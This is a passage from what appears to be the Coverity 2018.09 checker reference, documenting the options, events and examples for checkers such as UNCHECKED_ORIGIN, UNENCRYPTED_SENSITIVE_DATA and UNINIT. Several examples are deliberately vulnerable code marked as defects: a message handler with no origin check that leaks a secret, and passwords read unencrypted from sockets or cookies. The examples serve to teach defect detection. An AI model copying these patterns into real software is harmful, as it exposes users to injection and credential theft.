} catch (...){
cerr << "Error" << endl;
throw;
}
}This section describes one or more UNCAUGHT_EXCEPT options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
UNCAUGHT_EXCEPT:except_ignore:<exception_class_identifier_pattern>
- C++ option that excludes matching
unqualified identifiers that escape a root function. The checker excludes an
exception from the defect report if the pattern matches a class identifier for
the exception. Default is unset.
The checker treats the value to this option as an unanchored regular expression unless the value completely matches an exception class identifier. In the latter case, the checker only excludes full matches and does not exclude exceptions that partially match the value. You can specify this option multiple times.
In the rare case that an exception is not an instance of a class, this option will not affect defect reporting on that exception.
The checker runs this option after running except_report.
Unlike except_report, this option does apply to
exception-specification violations.
If you use this option, the checker only excludes a bad_alloc
exception if there is a matching value. Otherwise, it reports this
exception.
UNCAUGHT_EXCEPT:except_report:<exception_class_identifier_pattern>
- C++ option that finds matching unqualified
identifiers that escape a root function. The checker includes an exception
within the defect report if the pattern matches the class identifier for the
exception. Default is unset.
The checker treats the value to this option as an unanchored regular expression unless the value matches an exception class identifier completely. In the latter case, the checker only reports full matches and does not report exceptions that partially match the value. You can specify this option multiple times.
You can use this option to force the checker to report bad_alloc
exceptions. It has no effect on the reporting of exception-specification
violations.
This option is backwards compatible with pre-5.4 comma-separated string values.
UNCAUGHT_EXCEPT:follow_indirect_calls:<boolean> - When
this C++ option is true, and either virtual
function call tracking and/or function pointer tracking are enabled,
UNCAUGHT_EXCEPT will follow such indirect calls for the purpose of propagating
thrown exceptions. When false, exceptions are not considered to propagate across
indirect calls, even when indirect call tracking is otherwise enabled. Defaults to
UNCAUGHT_EXCEPT:follow_indirect_calls:false
UNCAUGHT_EXCEPT:fun_ignore:<function_identifier_pattern>
- C++ option that excludes an exception from
a defect report if it results from a function that partially or fully matches
the specified value. You specify function identifiers in the same was as you
specify them for fun_report. Default is
unset.
This option does not apply to exception-specification violations.
This option overrides the fun_report option.
You can specify this option multiple times. The checker examines all matching values.
UNCAUGHT_EXCEPT:fun_report:<function_identifier_pattern>
- C++ option that specifies a partially or
completely matching function identifier. The checker treats the value to this
option as an unanchored regular expression. That is, a single identifier causes
a full match, while a regular expression metacharacter yields a partial match.
Default is unset.
If you specify fun_report, the checker treats:
Any function that has an unqualified identifier (for example,
foo in bar::foo(int)) that
matches the <value> as a root function, and it reports any
exceptions that escape from it as defects. The checker behaves in this
manner regardless of whether other functions call the matching function
or not.
main and its variants (for example, WinMain,
and MAIN) as entry points only if
their function identifiers match one of the specified values.
This option does not apply to exception-specification violations.
You can specify this option multiple times. The checker examines all matching values.
UNCAUGHT_EXCEPT:report_all_fun:<boolean> - When this
C++ option is set to true,
it enables the reporting of exceptions for all functions that are not called by
other functions. Defaults to
UNCAUGHT_EXCEPT:report_all_fun:false
This checker option is automatically set to true
if the --aggressiveness-level option of the cov-analyze command is set
to high.
UNCAUGHT_EXCEPT:report_exn_spec:<boolean> - When this
C++ option is set to false,
it disables reporting of exception-specification violations. Defaults to
UNCAUGHT_EXCEPT:report_exn_spec:true
UNCAUGHT_EXCEPT:report_thrown_pointers:<boolean> - When
this C++ option is set to true,
the checker reports an error when any pointer is thrown. In C++, throwing by
value is recommended, while throwing by pointer discouraged. Defaults to
UNCAUGHT_EXCEPT:report_thrown_pointers:false
Example:
struct A { };
int main() {
try {
// The programmer actually wanted "throw A();"
throw new A();
} catch (A &a) {
} catch (...) {
// The exception is caught here, but was intended
// to be caught in the above block.
}
}This section describes one or more events produced by the UNCAUGHT_EXCEPT checker.
Only one of the two following events is possible:
exn_spec_violation - Indicates that a function threw an
exception that is not allowed by its exception specification.
root_function - Indicates that a root function does not
catch an exception that could be thrown during its execution.
Any number of the following events is possible:
fun_call_w_exception - Indicates that an exception is
thrown by a function. It has a model link.
fun_call_w_rethrow - Indicates that a function has a
rethrow_outside_catch event.
rethrow - Indicates that a throw statement
re-throws an exception that is never caught.
rethrow_outside_catch - Indicates that throw
statement occurred outside of function that contains a try
statement.
uncaught_exception - Marks throw statements
that produce an exception that will never be caught.
Supported Languages: JavaScript
UNCHECKED_ORIGIN reports if a window
message event handler does not validate the origin of received event message. An
attacker can send arbitrary data through event messages. Unvalidated event messages can
cause DOM-XSS or other injection-based security problems in a Web page.
Disabled by default: UNCHECKED_ORIGIN is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable UNCHECKED_ORIGIN
along with other Web application checkers,
use the --webapp-security
option.
An UNCHECKED_ORIGIN defect shows a window.onmessage event handler that does
not check the origin of its parameter. The events in the defect show the code that
registers the handler (for example, by assigning to window.onmessage) and
the code of the handler itself.
This section provides one or more UNCHECKED_ORIGIN examples.
This example contains the defect.
function bad_handler(event) { // Defect here.
consumeData( event.data ); // May result in unintended behavior
event.source.postMessage( "secret", event.origin ); // May leak secrets
}
window.addEventListener( "message", bad_handler );This example does not contain the defect.
// Good example:
function good_handler(event) {
if( event.origin == "http://mydomain.com" ) {
consumeData( event.data );
event.source.postMessage( "secret", event.origin );
}
}
window.addEventListener( "message", good_handler );Supported Languages: C, C++, C#, Java, Objective-C, Objective-C++, and Swift
UNENCRYPTED_SENSITIVE_DATA finds code that uses sensitive data (for example, a password, a cryptographic key, and so on) that was transmitted or stored unencrypted. Storing or transmitting sensitive data without encrypting it allows an attacker to steal it or tamper with it. Fixing such a defect requires changes to all endpoints.
![]() | |
The UNENCRYPTED_SENSITIVE_DATA checker is disabled by default. For Swift only, this checker is enabled by default. |
Disabled by default: UNENCRYPTED_SENSITIVE_DATA is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable UNENCRYPTED_SENSITIVE_DATA
along with other Web application checkers,
use the --webapp-security
option.
An UNENCRYPTED_SENSITIVE_DATA infers that a piece of data is sensitive when it determines that data is used in a security API as a password, cryptographic key, or security token. If it also finds evidence that this data was stored or transmitted without being encrypted, it reports a defect.
Therefore, an UNENCRYPTED_SENSITIVE_DATA defect shows a data flow path in which data that was transmitted or stored unencrypted is used in a sensitive manner. The path starts at a source of encrypted data, such as a read from a regular (not encrypted with SSL/TLS) socket. From there, the events in the defect show how this unencrypted data flows through the program, for example, from the argument of a function call to the parameter of the called function. Finally, the main event of the defect shows how the unencrypted data is used in a sensitive manner, for example, as a password or a cryptographic key, without being decrypted.
This section provides one or more UNENCRYPTED_SENSITIVE_DATA examples.
The following example reads unencrypted data from a regular (not encrypted with SSL/TLS) socket and uses it as a password. An attacker with access to the network could intercept the password when it is in transit.
void test(int socket, char* password) {
recv(socket, password, 100, 0);
HANDLE pHandle;
LogonUserA("User", "Domain", password,
LOGON32_LOGON_NETWORK, LOGON32_PROVIDER_DEFAULT, &pHandle);
// Defect here.
}The following example reads unencrypted data from a cookie and uses it as a password. If the HTTP connection is not encrypted with SSL, an attacker with access to the network could intercept the password when it is in transit. The password could also be extracted from the user's browser cookie store.
class TestUnencryptedSensitiveData{
public void TestCookie() {
HttpCookie cookie = new HttpCookie("TestCookie");
string pwd = cookie.Values["password"];
// Defect below.
NetworkCredential credential = new NetworkCredential("testName", pwd);
}
}The following example reads unencrypted data from a regular (not encrypted with SSL/TLS) socket and uses it as a password. An attacker with access to the network could intercept the password when it is in transit.
public PasswordAuthentication test(String userName)
{
PasswordAuthentication pwAuth = null;
Socket socket = null;
InputStreamReader isr = null;
BufferedReader br = null;
try
{
socket = new Socket("remote_host", 1337); // unencrypted / non-TLS Socket
isr = new InputStreamReader(socket.getInputStream(), "UTF-8");
br = new BufferedReader(isr);
String password = br.readLine();
pwAuth = new PasswordAuthentication(userName, password.toCharArray());
}
catch (IOException exceptIO) { }
return pwAuth;
}The following example reads a web service password from an iCloud key-value store. This service should not be used to store sensitive data.
import Foundation
func UserDataServiceURL(cloud: NSUbiquitousKeyValueStore) -> URL? {
var url = URLComponents()
url.host = "mydomain.com"
url.port = 4242
url.path = "some/webservice"
// DEFECT: Storing credentials in an iCloud shared key-value store
// is insecure and strongly discouraged.
url.password = cloud.string(forKey: "accountPassword")
return url.url
}This section describes one or more UNENCRYPTED_SENSITIVE_DATA options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
UNENCRYPTED_SENSITIVE_DATA:encrypted_data_is_sensitive:<boolean> -
If this option is set to true, the analysis will infer that data
that gets encrypted later is sensitive data. That is, if the checker detects the
encryption of plaintext data that is read from, for example, the network, it
infers from the encryption that the data was always sensitive. Defaults to
UNENCRYPTED_SENSITIVE_DATA:encrypted_data_is_sensitive:true for
all languages except for Swift.
UNENCRYPTED_SENSITIVE_DATA:report_from_cookie:<boolean> - If this
option is set to true, the checker reports a defect on code that
reads unencrypted sensitive data from a cookie. Otherwise, it does not report
this case. Defaults to
UNENCRYPTED_SENSITIVE_DATA:report_from_cookie:true (do report) for
all languages except Swift.
UNENCRYPTED_SENSITIVE_DATA:report_from_database:<boolean> - If this
option is set to true, the checker reports a defect on code that
reads unencrypted sensitive data from a database. Otherwise, it does not report
this case. Defaults to
UNENCRYPTED_SENSITIVE_DATA:report_from_database:true (do report)
for all languages.
UNENCRYPTED_SENSITIVE_DATA:report_from_filesystem:<boolean> - If
this option is set to true, the checker reports a defect on code
that reads unencrypted sensitive data from the filesystem. Otherwise, it does
not report this case. Defaults to
UNENCRYPTED_SENSITIVE_DATA:report_from_filesystem:false (do not
report) for all languages.
true
if the --webapp-security-aggressiveness-level option of the cov-analyze command is set
to medium (or to high). UNENCRYPTED_SENSITIVE_DATA:report_from_network:<boolean> - If this
option is set to true, the checker reports a defect on code that
reads unencrypted sensitive data from the network. Otherwise, it does not report
this case. Defaults to
UNENCRYPTED_SENSITIVE_DATA:report_from_network:true (do report)
for all languages except Swift.
UNENCRYPTED_SENSITIVE_DATA:report_from_url_connection:<boolean> -
If this option is set to true, the checker reports a defect on code
that reads unencrypted sensitive data from a URL connection. Otherwise, it does
not report this case. Defaults to
UNENCRYPTED_SENSITIVE_DATA:report_from_url_connection:false (do
not report) for all languages except
Swift.
true
if the --webapp-security-aggressiveness-level option of the cov-analyze command is set
to medium (or to high). The following primitives are available for C/C++ analyses with UNENCRYPTED_SENSITIVE_DATA:
__coverity_unencrypted_passwd_sink__(void *)
__coverity_unencrypted_crypto_sink__(void *)
__coverity_unencrypted_token_sink__(void *)
This example uses __coverity_unencrypted_passwd_sink__(void *) to
model a function that uses data as a password:
void authenticate(char *data) {
__coverity_unencrypted_passwd_sink__(data);
}Given the model above, passing unencrypted data coming from a socket into the data
parameter of this function results in an UNENCRYPTED_SENSITIVE_DATA
cleartext_transmission defect report, as shown in the following
example.
void test(int socket) {
char* data;
recv(socket, data, 100, 0);
authenticate(data);
// UNENCRYPTED_SENSITIVE_DATA cleartext_transmission defect
}Java models and annotations (see Section 6.3, “Models and Annotations in Java”) can improve analyses with this checker by identifying new sources of external data (from the filesystem, network, and so on) and new methods that use sensitive data (called "sinks"). UNENCRYPTED_SENSITIVE_DATA infers that data that flows to one of these sinks (in other words, data used as a password or cryptographic key) is sensitive. You can think of an UNENCRYPTED_SENSITIVE_DATA defect as consisting of a dataflow path from a source to a sink without any intervening decryption that would suggest that the data was encrypted when it entered the application.
Coverity models a number of unencrypted data sources by default. You can use
Coverity source model primitives to model additional UNENCRYPTED_SENSITIVE_DATA
sources. For descriptions of these primitives, see the Javadoc documentation
provided with Coverity Analysis at
<install_dir>/doc/<en|ja>/primitives/index.html.
These primitives have the following signatures:
Signature for modeling functions that return data from the filesystem:
<T> T filesystem_source();
Signature for modeling functions with a parameter that is updated or implied to contain data from the filesystem:
<T> void filesystem_source(T <parameter>);
Signature for modeling functions that return data from a database:
<T> T database_source();
Signature for modeling functions with a parameter that is updated or implied to contain data from a database:
<T> void database_source(T <parameter>);
Signature for modeling functions that return data from a cookie:
<T> T cookie_source();
Signature for modeling functions with a parameter that is updated or implied to contain data from a cookie:
<T> void cookie_source(T <parameter>);
Signature for modeling functions that return an unencrypted socket:
<T> T unencrypted_socket_source();
Any data read from such a socket will be considered to come from the network.
Signature for modeling functions with a parameter that is updated or implied to be an unencrypted socket:
<T> void unencrypted_socket_source(T <parameter>);
Any data read from such a socket will be considered to come from the network.
Signature for modeling functions that return an unencrypted URL connection:
<T> T unencrypted_url_connection();
Any data read from such a URL connection will be considered to come from the network.
Signature for modeling functions with a parameter that is updated or implied to be an unencrypted URL connection:
<T> void unencrypted_url_connection(T <parameter>);
Any data read from such a URL connection will be considered to come from the network.
The following examples use database_source to model a function
that returns data from a database or stores such data in a parameter:
Object returnsDataFromADatabase() {
database_source();
// ...
}
void storesDataFromADatabaseInParam(Object arg) {
database_source(arg);
// ...
}Coverity models a number of unencrypted sensitive data sinks by default. You can
use Coverity sink model primitives to model additional UNENCRYPTED_SENSITIVE_DATA sinks. For a
description of these primitives, see the Javadoc documentation provided with
Coverity Analysis at
<install_dir>/doc/<en|ja>/primitives/index.html.
These primitives have the following signatures:
Signature for modeling a function that uses a parameter as a password:
void unencrypted_passwd_sink(Object <parameter>);
Signature for modeling a function that uses a parameter as a cryptographic key:
void unencrypted_crypto_sink(Object <parameter>);
Signature for modeling a function that uses a parameter as a security token:
void unencrypted_token_sink(Object <parameter>);
The following example uses unencrypted_passwd_sink to model a
function that uses data as a password:
void authenticate(String userName, String password) {
unencrypted_passwd_sink(password);
// ...
}Given the models above, passing unencrypted data coming from a database into the password parameter results in an UNENCRYPTED_SENSITIVE_DATA defect report of type Cleartext sensitive data in a database. For example, the UNENCRYPTED_SENSITIVE_DATA checker reports a defect in each of the following examples:
public void test1(String userName)
{
String password = returnsDataFromADatabase();
authenticate(userName, password);
}
public void test2(String userName) {
byte[] passwordBuffer = new byte[256];
storesDataFromADatabaseInParam(passwordBuffer);
authenticate(userName, passwordBuffer);
}Coverity models a number of unencrypted data sources by default. You can use Coverity source model primitives to model additional UNENCRYPTED_SENSITIVE_DATA sources. For descriptions of these primitives, see Section 6.2.1.3, “C# and Visual Basic Primitives”. These primitives have the following signatures:
Signature for modeling functions that return data from the filesystem:
object FileSystemSource();
Signature for modeling functions with a parameter that is updated or implied to contain data from the filesystem:
void FileSystemSource(object o);
Signature for modeling functions that return data from a database:
object DatabaseSource();
Signature for modeling functions with a parameter that is updated or implied to contain data from a database:
void DatabaseSource(object o);
Signature for modeling functions that return data from a cookie:
object CookieSource();
Signature for modeling functions with a parameter that is updated or implied to contain data from a cookie:
void CookieSource(object o);
Signature for modeling functions that return an unencrypted socket:
object UnencryptedSocketSource();
Any data read from such a socket will be considered to come from the network.
Signature for modeling functions with a parameter that is updated or implied to be an unencrypted socket:
void UnencryptedSocketSource(object o);
Any data read from such a socket will be considered to come from the network.
Signature for modeling functions that return an unencrypted URL connection:
object UnencryptedUrlConnectionSource();
Any data read from such a URL connection will be considered to come from the network.
Signature for modeling functions with a parameter that is updated or implied to be an unencrypted URL connection:
void UnencryptedUrlConnectionSource(object o);
Any data read from such a URL connection will be considered to come from the network.
Coverity models a number of unencrypted sensitive data sinks by default. You can use Coverity sink model primitives to model additional UNENCRYPTED_SENSITIVE_DATA sinks. For descriptions of these primitives, see Section 6.2.1.3, “C# and Visual Basic Primitives”. These primitives have the following signatures:
Signature for modeling a function that uses a parameter as a password:
void UnencryptedPasswordSink(object o);
Signature for modeling a function that uses a parameter as a cryptographic key:
void UnencryptedCryptographicKeySink(object o);
Signature for modeling a function that uses a parameter as a security token:
void UnencryptedSecurityTokenSink(object o);
This section describes one or more events produced by the UNENCRYPTED_SENSITIVE_DATA checker.
remediation - Information about ways to address the potential
security vulnerability.
sensitive_data_use - Main event: A use of unencrypted
sensitive data.
Dataflow events
argument - An argument to a method uses unencrypted
data.
assign - Unencrypted data is assigned to a variable.
attr - Unencrypted data is stored as a Web application
attribute that has page, request, session, or application scope.
call - A method call returns unencrypted data.
concat - Unencrypted data is concatenated with other
data.
field_def - Unencrypted data passes through a field.
field_read - A read of unencrypted data from a field
occurs.
field_write - A write of unencrypted data to a field
occurs.
map_read - A read of unencrypted data from a map
occurs.
map_write - A write of unencrypted data to a map
occurs.
member_init - Creating an instance of a class using
unencrypted data initializes a member of that class with unencrypted
data.
object_construction - Creating an instance of a class using
unencrypted data.
parm_in - This method parameter receives unencrypted
data.
parm_out - This method parameter received unencrypted
data.
returned - A method call returns unencrypted data.
returning_value - The current method returns unencrypted
data.
subclass - Creating an instance of a class to use as a super
class.
unencrypted_data - The method from which unencrypted data
originates.
unencrypted_data_read - A read of unencrypted data from an
unencrypted stream occurs.
unencrypted_stream - The method from which an unencrypted
stream originates.
Supported Languages: C, C++, C#, Java, JavaScript, Objective-C, Objective-C++, PHP, Ruby, Swift, and Visual Basic
UNEXPECTED_CONTROL_FLOW reports uses of several idioms affecting flow through the program that are likely to have unexpected or mistaken meanings, other than cases of UNREACHABLE or MISSING_BREAK. A detailed description of each pattern detected is in the Options section below, under the option controlling the reporting of each pattern.
Enabled by default: UNEXPECTED_CONTROL_FLOW is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section describes one or more UNEXPECTED_CONTROL_FLOW options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
UNEXPECTED_CONTROL_FLOW:report_continue_in_do_while_false:<boolean>
- When this option is true, the checker reports a defect when 'continue' is used
within a 'do-while' loop with a constant 'false' condition, or some equivalent
based on language variation in the name of the 'do-while' loop, values allowed
to represent 'false', and even the name of 'continue'. Such code likely does not
behave as intended, because a 'continue' causes the loop condition to be
immediately re-checked. Thus, with a constant 'false' loop condition, 'continue'
has the same effect as 'break'. Defaults to
UNEXPECTED_CONTROL_FLOW:report_continue_in_do_while_false:true
(for C, C++, C#, Java, JavaScript, Objective-C, Objective-C++, PHP, Ruby, Visual
Basic, and Swift).
Consider this example applicable to C, C++, C#, Visual Basic, Java, and with slight modification, JavaScript and PHP:
bool forgiving = false; // Start less flexible.
do {
if (!tryIt(forgiving) && !forgiving) {
forgiving = true;
continue; // [intend to] Try again, more flexibly.
}
} while (false); // [The loop will never proceed past this point.]The loop body is only entered once, even though it is clear the programmer expected 'continue' to repeat the loop body.
In Swift the pattern is 'repeat { ... continue ... } while false', while in Ruby the pattern is 'begin ... next ... end while false'. Note that Ruby's 'redo' built-in jumps back to the start of the loop body without checking the loop condition.
Consider this example applicable to Visual Basic:
Dim forgiving As Boolean = False ' Start less flexible.
Do
If Not tryIt(forgiving) AndAlso Not forgiving Then
forgiving = True
Continue Do ' [intend to] Try again, more flexibly.
End If
Loop While False ' [The loop will never proceed past this point.]UNEXPECTED_CONTROL_FLOW:report_ignored_exception_to_optional:<boolean>
- When this Swift-only option is true, the checker reports a defect when a
'try?' expression is used as a statement, discarding the result. The purpose of
'try?' in Swift is to translate the occurrence of an exception into a nil
optional, indicating that evaluation of the expression did not complete
normally. Discarding that optional value means that when an exception occurs, it
is caught and quietly ignored. If ignoring exceptions was not intended, this can
be a difficult problem to diagnose. Defaults to
UNEXPECTED_CONTROL_FLOW:report_ignored_exception_to_optional:true
(Swift-only option).
Because 'try?' with an ignored result is so close in syntax to 'try' or 'try!', with greatly different meaning, and it is so convenient yet subtle as a temporary measure to appease the compiler, the checker assumes by default that the intent of 'try?' with discarded result is at best unclear and is therefore defect-worthy.
try? thrower() // defect reported
try! thrower() // no defect
_ = try? thrower() // no defect; clear intent
do {
try thrower() // no defect; clear intent
} catch {
// ignore
}UNEXPECTED_CONTROL_FLOW:report_useless_defer:<boolean> - When
this Swift-only option is true, the checker reports a defect when a 'defer'
statement does not defer execution in an observable way. In other words, a
defect of this pattern indicates that pulling statements out of the defer block
and removing it would result in the same observable program behavior. Because
such a 'defer' is "useless," it likely does not implement the intended program
behavior. Defaults to
UNEXPECTED_CONTROL_FLOW:report_useless_defer:true (Swift-only
option) .
Example 1:
if let mylog = log {
mylog.enter();
defer { mylog.leave(); } // defect reported
}In this case, the intent is clearly to call "leave" on the log (if non-nil) at the end of the current function, but the deferred code is executed when the enclosing block scope is exited, which is the '{ }' associated with the 'if', NOT the top-level function scope. Thus, 'mylog.leave()' is not actually deferred. You cannot conditionally defer code, but you can defer conditional code. Thus, lifting the 'defer' outside the 'if' and checking the same condition again inside the 'defer' is an appropriate solution.
func compare(_ other : Widget) -> Int {
log.enter();
defer { log.leave(); } // defect reported
// What was going to go here?
return 0
}In this case, the defer is well-intentioned, but the code after it is so trivial that the defer is useless in effect. There is clearly an unfulfilled intent to put more code into this function. Thus, in this case the uselessness of the 'defer' revealed a deficit in the code following the 'defer' rather than in the 'defer' itself.
Supported Languages: C, C++, Objective-C, Objective-C++
UNINIT finds many instances of variables that are used without being initialized. Stack variables do not have set values unless initialized. Using uninitialized variables can result in unpredictable behavior, crashes, and security holes.
This checker looks for uninitialized stack variables and dynamically allocated heap memory. It tracks primitive type variables, structure fields, and array elements. Note that initialization tracking for a variable stops if the address of the variable is taken.
UNINIT begins tracking a variable when it is declared and follows it down all call chains checking for uninitialized uses. As with DEADCODE, you can use code annotations to suppress UNINIT events and eliminate false positives. (all languages).
Enabled by default: UNINIT is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more UNINIT examples.
int uninit_example1(int c) {
int x;
if(c)
return c;
else
return x; // defect: "x" is not initialized
}int result;
int uninit_example2(int c) {
int *x;
if(c)
x = &c;
use (x); // defect: uninitialized variable "x" and "*x" used in call
}
void use (int *x) {
result = *x+2;
}int result;
int uninit_example3() {
int x[4];
result = x[1]; // defect: use of uninitialized value x[1]
}
int result;
struct A {
int a;
int *b;
};
int uninit_example4() {
struct A *st_x;
st_x = malloc (sizeof(struct A)); // Dynamically allocate struct
partially_init(st_x);
use (st_x); // defect: use of uninitialized variable st_x->b
}
void partially_init(struct A *st_x) {
st_x->a = 0;
}
void use (struct A *st_x) {
result = *st_x->b;
}This section describes one or more UNINIT options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
UNINIT:assume_loop_always_taken:<boolean>
- When this option is set to false,
UNINIT will analyze paths that never execute the body of loops in cases
where it is not completely clear whether the loop is executed. Defaults to
UNINIT:assume_loop_always_taken:true (all
languages).
This checker option is automatically set to
false if the --aggressiveness-level option of
cov-analyze is set to high.
UNINIT:allow_unimpl:<boolean> - When this
option is set to true,
UNINIT assumes that an unimplemented function does not do any
initialization. Defaults to
UNINIT:allow_unimpl:false (all
languages).
This checker option is automatically set to true
if the --aggressiveness-level option of the cov-analyze command is set
to high.
UNINIT:check_arguments:<boolean> - When
this option is set to true,
UNINIT reports a defect if the arguments to any function are
uninitialized. Defaults to
UNINIT:check_arguments:false (all
languages).
This checker option is automatically set to true
if the --aggressiveness-level option of the cov-analyze command is set
to medium (or to high).
UNINIT:check_malloc_wrappers:<boolean> -
By default, UNINIT tracks dynamic memory allocated with calls to
malloc() or new(). However,
UNINIT does not track memory allocated by wrappers around
malloc() or new(). UNINIT
also does not track the memory of a variable whose address is passed to callees
and where the callee then allocates memory to the address. With this option enabled, UNINIT tracks this memory
and reports defects if it is used without initialization. A higher rate of false
positives can occur because UNINIT cannot identify the memory that these
wrappers or allocating functions have allocated and initialized. Defaults to
UNINIT:check_malloc_wrappers:false (all
languages).
This checker option is automatically set to true
if the --aggressiveness-level option of the cov-analyze command is set
to high.
UNINIT:check_mayreads:<boolean> - When
this option is set to true,
UNINIT reports defects on fields of structs that might be read along a
path in a called function. Defaults to
UNINIT:check_mayreads:false (all
languages).
This checker option is automatically set to true
if the --aggressiveness-level option of the cov-analyze command is set
to medium (or to high).
UNINIT:enable_deep_read_models:<boolean>
- When this option option is set to
true, UNINIT does a deeper interprocedural
analysis: It tracks variable uses at callee depths greater than 1. This can
increase the number of reported defects but can also result in more false
positives because of inadequacies in tracking interprocedural contexts. Defaults to
UNINIT:enable_deep_read_models:false (all
languages).
This checker option is automatically set to true
if the --aggressiveness-level option of the cov-analyze command is set
to medium (or to high).
UNINIT:enable_parm_context_reads:<boolean>
- When this option is set to
true, UNINIT reports defects on uninitialized
fields of structs within callees that are conditioned on constraints on other
parameter values. Defaults to
UNINIT:enable_parm_context_reads:false (all
languages).
This checker option is automatically set to true
if the --aggressiveness-level option of the cov-analyze command is set
to medium (or to high).
UNINIT:enable_write_context:<boolean> -
By default, UNINIT does not distinguish the interprocedural context
under which a callee can initialize a parameter or parameter field. To avoid too
many false positives, UNINIT does not report a defect if it finds an
initialization of a parameter along at least one path in the callee. This
option relaxes this restriction and tracks
the context of interprocedural initializations. The checker reports more defects
and possibly more false positives because of approximations in interprocedural
context tracking. Defaults to
UNINIT:enable_write_context:false (all
languages).
This checker option is automatically set to true
if the --aggressiveness-level option of the cov-analyze command is set
to medium (or to high).
This section describes one or more events produced by the UNINIT checker.
var_decl - A potentially uninitialized variable has just been
declared. Suppress this event if you are positive that a particular variable is
always initialized and the Coverity analysis is unable to detect this. Note that
after suppressing this event you will never receive a defect from an
uninitialized use of this variable.
uninit_use - A use of an uninitialized variable. Suppress
this event if this is not actually an uninitialized use.
uninit_use_in_call - A use of an uninitialized variable in a
callee. In cases where the callee source is found and analyzed, the
link in the code browser will go to the
callee line where the variable is used. For unimplemented functions, the passed
parameter's value is considered to be used in the function. Suppress this event
if this is not actually an uninitialized use.
The following primitive works with this checker to imbue properties without involving the RESOURCE_LEAK checker.
__coverity_mark_as_uninitialized_buffer__
The following example shows where to insert the primitive to mark a function that doesn't allocate memory.
char* uninit_source() {
static char *p;
__coverity_mark_as_uninitialized_buffer__(p);
return p;UNINIT_CTOR finds instances of a non-static data member of a class or struct that is declared with the class or struct, not in a parent class, and not initialized in a path in the constructor.
The constructor of a class is generally required to adhere to the contract that it initialize all of the members of the class. This is a very common coding standard. Uninitialized data members are unsafe because calling member functions can access them either directly, if it is public, or through a member function. These defects can cause the usual problems with accessing uninitialized variables, such as corrupting arbitrary data within the address space of the program.
The checker tracks each uninitialized member interprocedurally, starting from the
initialization list. The checker follows the member variable down all call chains from
within the constructor, checking for initializations. This is repeated for all paths
within the constructor. Because the callee does not pass interprocedural context to the
caller, the cov-make-library command is ineffective in suppressing
false positives from the UNINIT_CTOR analysis. As with UNINIT, the best way to suppress
an UNINIT_CTOR false positive is to use a code annotation to suppress an event.
Enabled by default: UNINIT_CTOR is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more UNINIT_CTOR examples.
The following example shows a constructor that does not initialize a data member.
class Uninit_Ctor_Example1 {
Uninit_Ctor_Example1(int a) : m_a(a) {
// Defect: m_p not initialized in constructor
}
int m_a;
int *m_p;
};The following example shows a constructor and its callee that do not initialize a data member.
class Uninit_Ctor_Example2 {
Uninit_Ctor_Example2(int a) : m_a(a) {
init();
// Defect: m_c not initialized in constructor
}
void init() {
m_b = 0;
}
int m_a, m_b, m_c;
};The following example produces the member_not_init_in_gen_ctor
event.
class HasCtor {
int m;
public:
HasCtor() : m(0) {}
};
class HasOnlyGenCtor : public HasCtor {
int *p;
};
HasOnlyGenCtor hogc;Here, the compiler will generate a ctor for HasOnlyGenCtor because it has
a base class with a ctor, but not one of its own. So p will not be
initialized by that compiler-generated ctor.
This section describes one or more UNINIT_CTOR options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
UNINIT_CTOR:allow_unimpl:<boolean> - When this
C++ option is true, the checker treats
unimplemented functions as though they do not initialize anything. Defaults to false.
This checker option is automatically set to true
if the --aggressiveness-level option of the cov-analyze command is set
to high.
UNINIT_CTOR:ctor_func:<function_name> - This
C++ option specifies a set of method
names, as simple identifiers (no scope qualifiers, no parameter types), to treat
as if they were constructors. If a class has at least one method with a name in
this set, then the methods with such names are checked to make sure they
initialize all members (regardless of the ignore_empty_constructors and
ignore_priv_prot_constructors options), and the actual constructors are not
checked. This option is useful when the code base contains some classes that
have a dedicated init or similar method that plays the role of a
constructor, and the actual constructor does nothing. Default is unset.
UNINIT_CTOR:ignore_array_members:<boolean> - When
this C++ option is true, the checker will not
report defects in array fields that are not initialized in the constructor.
Defaults to
UNINIT_CTOR:ignore_array_members:false
UNINIT_CTOR:ignore_empty_constructors:<boolean> -
When this C++ option is true, the checker
will not report defects in empty constructors. Defaults to UNINIT_CTOR:ignore_empty_constructors:false
UNINIT_CTOR:ignore_priv_prot_constructors:<boolean>
- When this C++ option is true, the checker
will not report defects in private and protected constructors. Defaults to
UNINIT_CTOR:ignore_priv_prot_constructors:false
UNINIT_CTOR:assume_vararg_writes_to_pointer:<boolean>
- When this C++ option is true, the checker
will not report a defect if the this pointer is passed to a
variadic function (a function that can take different numbers of arguments) and
that variadic function is called in a constructor. You might use this option if
you are encountering false positives because a variadic function is performing
initialization. Defaults to
UNINIT_CTOR:assume_vararg_writes_to_pointer:false
UNINIT_CTOR:report_compiler_bugs:<boolean> - When
this C++ option is true, the checker will
report when a member should be value-initialized according to the C++ language
rules, but some compilers will leave it uninitialized due to bugs on those
compilers. When the option is false, the checker will not report them. When it
is unset, the checker will report such members if the native compiler appears to
be a version that has the bug, as determined when the compiler was configured by
cov-configure or cov-build. Default is unset.
Example:
struct NotPOD {
NotPOD() : member(4) { }
int member;
};
struct Base {
int i;
char c;
NotPOD notpod;
};
struct Derived : Base {
Derived() : Base() { } // 'i' and 'c' are uninitialized!
};Such bugs are reported automatically if GCC or Visual C++ compilers are used
with cov-build. To unconditionally enable reporting (for
example, for other compilers), use report_compiler_bugs:true.
To unconditionally disable reporting (for example, if GCC is used and these bugs
are not of interest), use report_compiler_bugs:false.
UNINIT_CTOR:report_scalar_arrays:<boolean> - When
true, this C++ option turns on tracking of
scalar 1-dimensional (1-D) arrays. Aggressiveness levels of medium and above
also turn on tracking of these arrays. Note that 2-D arrays are never tracked.
Defaults to
